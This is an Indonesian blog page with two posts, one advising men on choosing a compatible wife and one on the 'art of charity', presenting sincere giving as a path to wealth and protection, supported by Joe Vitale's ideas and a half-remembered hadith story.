Seseungguhnya, alasan yang sangat mendasar mengapa manusia itu perlu menikah yaitu dikarenakan kebutuhan psikologis. Sebagai makhluk sosial, manusia itu perlu berteman. Sahabat saja tidak cukup karena sifatnya yang bisa berubah-ubah atau tidak permanen. Secara psikologis kita memerlukan teman yang cocok dalam hal berbagi kehidupan. Isteri adalah pasangan hidup sekaligus teman hidup suami. Artinya, mereka sudah berikrar baik dalam susah maupun senang untuk selalu bersama-sama, saling membantu, dan dapat saling menerima apa adanya.

Itulah sebenarnya idealnya seorang pasangan hidup. Secara konseptual, istri yang ideal adalah istri yang bisa mengerti suaminya, dan sebaliknya, bisa dimengerti oleh suaminya. Namun, sebelum Anda menentukan wanita ideal untuk dijadikan pasangan hidup, Anda harus jelas terlebih dahulu dengan konsep diri Anda.

Kenali diri. Langkah pertama sebelum menentukan calon istri adalah kenali dulu diri Anda sendiri. Kalau Anda termasuk tipe laki-laki yang ingin selalu dihormati penuh sebagai kepala keluarga, Anda harus tahu konsekuensinya. Penuhi dulu nafkah keluarga, jangan cuma menuntut pada orang lain, tetapi tuntutlah diri Anda terlebih dahulu. Selain itu berusahalah keras untuk menjadi penanggung jawab keluarga secara penuh.

Jika Anda termasuk tipe pria yang tidak yakin terhadap diri sendiri, apakah bisa mencari nafkah secara penuh buat keluarganya atau tidak, maka sebaiknya cari istri yang bisa bahu membahu dengan suami, jangan cari yang bergantung terus pada Anda, karena jika begitu, akan terbayang kesulitannya. Kalau Anda juga termasuk orang yang tidak yakin terhadap kelanggengan pekerjaan yang Anda miliki, maka carilah juga istri yang bisa fleksibel dalam mengarungi kehidupan.

Sementara apabila Anda adalah tipe pria yang dibesarkan dalam lingkungan demokratis, tidak gender bias, dalam arti tidak mengenal pekerjaan pria atau wanita, maka Anda pun sebaiknya mencari pasangan yang seperti itu, sehingga tidak timbul bentrok nantinya.

Dengan mengenali diri Anda sendiri, maka dengan sendirinya Anda akan menjadi lebih mudah mencari siapa calon istri yang cocok, dengan segala kelebihan dan kekurangan yang Anda miliki.

Uji calon. Kenali keluarganya dengan mengajaknya ngobrol ringan tapi serius. Jangan-jangan calon Anda itu termasuk wanita yang kurang suka dengan keberadaan anak kecil di sekitarnya.

Lihatlah dengan siapa dia bergaul, seperti apa teman-temannya, bagaimana bentuk hubungan dengan teman-temannya, apakah tulus, solidaritas atau ada kekuatan. Kekuatan artinya apakah dia punya kekuasaan, atau karena dia memiliki banyak uang untuk memberi teman. Dengan mengenali teman-temannya maka Anda akan mengenali dia juga.

Pelajari sifat pasangan ketika berbicara mengenai pekerjaannya, sebab dari obrolan tersebut kita bisa tahu bagaimana cara dia mengklarifikasi suatu masalah.

Jadi, dalam mengenali calon pasangan Anda, jangan hanya mengenali sosok dia sendiri, namun juga dengan tiga hal di atas. Meski begitu, yang paling penting, adalah bersyukur dan menerima apa yang disediakan Tuhan kepada kita.

Nah, tak terlalu sulit kan? Tentu, jika Anda memang berniat menikah dan tak lagi bertipe lelaki tahun 1960-an itu.

Posted in Uncategorized | No Comments »

Seni bersedekah : bagaimana agar bersedekah membuat Anda kaya?

July 13th, 2007 by slcteam

Seni bersedekah : bagaimana agar bersedekah membuat Anda kaya?

Filed under: Konsep, Kecerdasan Spiritual, Cara Kaya, Topik P

ersonal, Cara Bahagia ( Teman-teman ini gue kutip dari Blog Sepia mudah2an bermanfaat) Ini pendapat Joe Vitale, penulis Spiritual Marketing. Juga pendapat banyak penulis lain yang dari pengalamannya mendapati bahwa semakin dia rela memberi (bersedekah) semakin banyak apa yang dia sumbangan itu kembali kepada dirinya dengan berlipat-lipat. Kalu dia nyumbang uang, maka (biasanya) akan datang uang. Kalau tenaga, maka akan kembali banyak bantuan. Kalau ilmu, maka akan kembali lebih banyak ilmu. Mereka menemukan bahwa “to give in order to get” adalah suatu hukum universal. Sebentar, masih menurut orang-orang tersebut, hanya sedekah yang tulus lah yang akan menggetarkan semesta. Jadi tidak semua pemberian akan memberikan efek pengembalian yang diharapkan. Tentu saja ini bukan sok merasa lebih tahu tentang cara yang disukai Tuhan, ini adalah berbagi pengalaman apa yang mereka rasakan. Kisah-kisah mereka dikumpulkan dalam e-book The Greatest Money-Making Secret in History!. Silahkan di download sendiri ya. Berikut ini cara bersedekah (menyumbang) yang mereka rasakan mampu menggetarkan spiritualitas mereka : 1. Bersedekahlah saat merasa ingin bersedekah, jangan sampai merasa terpaksa. Bila saat bersedekah kita justru merasa kesal, maka akan tertanam di bawah ssadar bahwa bersedekah itu tidak enak, bahkan mengesalkan. Mungkin seperti kalau kita bayar parkir kepada preman di pinggir jalan. Ada perasaan terpaksa, tak berdaya, bahkan dirampok. Bukan karena besar kecilnya nilai uang, tapi rela tidaknya perasaan saat memberikan sumbangan. Kalau anda sedang suntuk, tunggu sampai hati lebih riang. Memberi dengan berat hati akan memberi asosiasi buruk ke alam bawah sadar. 2. Bersedekahlah kepada sesuatu yang disukai sehingga hati Anda tergetar karenanya. Mungkin suatu ketika Anda ingin menyumbang yatim piatu, di waktu lain mungkin menyumbang perbaikan jembatan, mungkin pelestarian satwa yang hampir punah, mungkin disumbangkan untuk modal usaha bagi seorang pemula. Intinya adalah Anda sebaiknya menyedekahkan pada hal yang membuat perasaan Anda tergetar. Setiap orang akan berbeda. Seringkali seseorang menyumbang ke tempat ibadah, tapi hatinya tidak sejalan, hanya karena kebiasaan. Menyumbang yang tak bisa dihayati tak akan menggetarkan kalbu. 3. Bersedekahlah dengan sesuatu yang bernilai bagi Anda. Kebanyakan wujudnya adalah uang, namun lebih luas lagi adalah benda yang juga anda suka, pikiran, tenaga, ilmu yang anda suka. Dengan menyumbang sesuatu yang anda sukai, membuat anda juga merasa berharga karena memberikan sesuatu yang berharga. 4. Bersedekahlah dalam kuantitas yang terasa oleh perasaan. Bagaimana rasanya memberi sedekah 25 rupiah? Bagi kebanyakan orang nilai ini sudah tidak lagi terasa. Untuk seseorang dengan gaji 1 juta, maka 50 ribu akan terasa. Bagi yang perpenghasilan 20 juta, mungkin 1 juta baru terasa. Setiap orang memiliki kadar kuantitas berbeda agar hatinya tergetar ketika menyumbang. Nilai 10 persen biasanya menjadi anjuran dalam sedekah (bukan wajib), mungkin karena sejumlah nilai itulah kita akan merasakan ‘beratnya’ melepas kenikmatan. 5. Menyumbang anonim akan memberi dampak lebih kuat. Ini erat kaitannya dengan ketulusan, walaupun tidak anonim juga tak apa-apa. Dengan anonim lebih terjamin bahwa kita hanya mengharap balasan dari Tuhan (ikhlas). 6.Bersedekah tanpa pernah mengharap balasan dari orang yang anda beri. Yakinlah bahwa Tuhan akan membalas, tapi tidak lewat jalan orang yang anda beri. Pengalaman para pelaku kebanyakan menunjukkan bahwa balasan datang dari arah yang lain. 7. Bersedekahlah tanpa mengira bentuk balasan Tuhan atas sedekah itu. Walaupun banyak pengalaman menunjukkan bahwa kalau bersedekah uang akan dibalas dengan uang yang lebih banyak, namun kita tak layak mengharap seperti itu. Siapa tahu sedekah itu dibalas Tuhan dengan kesehatan, keselamatan, rasa tenang, dll, yang nilainya jauh lebih besar dari nilai uang yang disedekahkan. Demikian berbagai hal yang berkaitan dengan prinsip bersedekah. Prinsip-prinsip ini sangat sesuai dengan petunjuk rasulullah Muhammad berkaitan dengan sedekah dan keutamaannya. Kalau tak salah, ada hadits yang menyatakan bahwa tak akan menjadi miskin orang yang bersedekah. Dijamin. Selain itu bersedekah juga menghindarkan diri dari marabahaya. Ada sebuah kisah yang kalau tak salah saya dapat dari Pak Jalaluddin Rakhmat tentang seorang yang ditunda kematiannya karena bersedekah. Suatu ketika rasulullah sedang duduk bersama para sahabat. Lalu melintaslah seorang yang memanggul kayu bakar. Tiba-tiba Rasulullah berkata kepada para sahabat, “Orang ini akan meninggal nanti siang.” Sorenya ketika Rasulullah duduk bersama para sahabat, melintaslah orang tersebut. Maka dipanggillah orang tersebut oleh rasul dan ditanya, “Aku diberitahu (malaikat) tadi pagi bahwa kamu akan menemui ajal siang tadi. Tapi kulihat kamu masih segar bugar. Apa yang telah kamu lakukan?” Kemudian orang itu berkisah bahwa tadi pagi dia membawa bekal makan siang. Lalu di tengah jalan bekal itu dia sedekahkan kepada orang yang membutuhkan. Selanjutnya, kata orang itu, saat kayu-kayu bakar diletakkan tiba-tiba seekor ular hitam keluar dari dalamnya. Rasulullah kemudian menjelaskan bahwa ular itulah yang sedianya akan mematuk orang tersebut, namundia berpindah takdir karena sedekahnya menghidarkan dia dari bahaya tersebut. (Demikian lebih kurang sebuah kisah yang saya tahu. Sayang saya lupa detilnya, apalagi perawinya. Jadi mohon dicari sendiri sumber kisah tersebut. Seingat saya kisah tersebut dari Pak Jalal yang saya kenal punya banyak sumber terpercaya.) Kisah itu menunjukkan keutamaan sedekah yang bisa menghindarkan diri dari bahaya, sekaligus menujukkan bahwa cara Tuhan membalas sedekah tidak dalam bentuk dan jalan yang kita sangka.

Posted in Uncategorized | No Comments »

« Older Entries